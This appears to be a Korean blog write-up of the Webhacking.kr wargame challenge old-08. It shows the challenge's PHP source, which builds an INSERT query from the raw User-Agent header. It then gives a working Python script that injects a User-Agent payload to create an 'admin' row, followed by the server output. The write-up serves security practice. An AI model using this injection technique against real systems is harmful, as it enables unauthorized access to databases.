WarGame/Webhacking.kr

[Webhacking.kr] old-08 Answer

Old-08 Domain & Tool

  • 구분 : SQL Injection
  • 문제풀이에 사용된 도구 
    • Chrome 103.0.5060.66 관리도구[F12]
    • python 3.10
      • Module : requests

Old-08 Question & Answer

시꺼먼 화면이다. 역시 웹해킹 연습사이트는 UI가 단조로워야 재맛이다. 일단 Hi guest라고 친.절.하게 인사해주니 쌩까고 view-source a태그를 클릭해서 동작방식을 확인하자 안쪽은 php source가 있다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 8</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<br><br>
<center>
<?php
$agent=trim(getenv("HTTP_USER_AGENT"));
$ip=$_SERVER['REMOTE_ADDR'];
if(preg_match("/from/i",$agent)){
  echo("<br>Access Denied!<br><br>");
  echo(htmlspecialchars($agent));
  exit();
}
$db = dbconnect();
$count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }

$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);

if($ck){
  echo "hi <b>".htmlentities($ck[0])."</b><p>";
  if($ck[0]=="admin"){
    mysqli_query($db,"delete from chall8");
    solve(8);
  }
}

if(!$ck){
  $q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
  echo("<br><br>done!  ({$count_ck[0]}/70)");
}
?>
<a href=./?view_source=1>view-source</a>
</body>
</html>

코드의 동작을 블록으로 나누어서 설명하면

  • 접속된 사용자의 HTTP_USER_AGENT(브라우저 정보) 와 REMOTE_ADDR(IP정보)를 가져온다.
  • 만약 HTTP_USER_AGENT에 from이라는 문자열이 있으면 Access Denied로 튕긴다
  • 만약 카디널리티가 70이 넘어간다면 해당 데이터베이스를 지운다.(아마 용량관리나 DOS대항인듯)
  • agent로 조건을 걸어서 가져온 id값이 admin이면 solve
  • 해당 agent로 행이 없으면 그 행을 생성한다.

여기서 집어넣는 sql은 다음과 같다.

  • Insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')"

IP는 못바꾼다. Proxy등을 쓰면 바꿀수 있겠지만, agent 는 SQL Injection이 가능하다. 따라서 agent에다가 SQL Injection을 삽입 하고, select문을 돌려보자

 

from requests import get
    

if __name__=="__main__" :
    
    sql_enter_headers = {"User-Agent": "REDUCTO', '0.0.0.0', 'admin')# "}
    sql_select_headers = {"User-Agent": "REDUCTO"}
    url = "https://webhacking.kr/challenge/web-08/"
    cookie = {
        "PHPSESSID":"// 당신의 PHPSESSID //",
    }

    req = get(url, headers=sql_enter_headers,cookies=cookie)
    print(req.content)

    req = get(url, headers=sql_select_headers,cookies=cookie)
    print(req.content)

결과는 다음과 같다.

b'<html>\n<head>\n<title>Challenge 8</title>\n<style type="text/css">\nbody { background:black; color:white; font-size:10pt; }\n</style>\n</head>\n<body>\n<br><br>\n<center>\n<br><br>done!  (0/70)<a href=./?view_source=1>view-source</a>\n</body>\n</html>\n'
b'<html>\n<head>\n<title>Challenge 8</title>\n<style type="text/css">\nbody { background:black; color:white; font-size:10pt; }\n</style>\n</head>\n<body>\n<br><br>\n<center>\nhi <b>admin</b><p><script>alert(\'login plz\');location.href=\'https://webhacking.kr/\';</script>'

필자는 2회차로 푸는거라 already solve가 나온거다

'WarGame > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-10 Answer  (0) 2022.07.14
[Webhacking.kr] old-09 Answer  (0) 2022.07.14
[Webhacking.kr] old-07 Answer  (0) 2022.07.10
[Webhacking.kr] old-06 Answer  (0) 2022.07.10
[Webhacking.kr] old-05 Answer  (0) 2022.07.10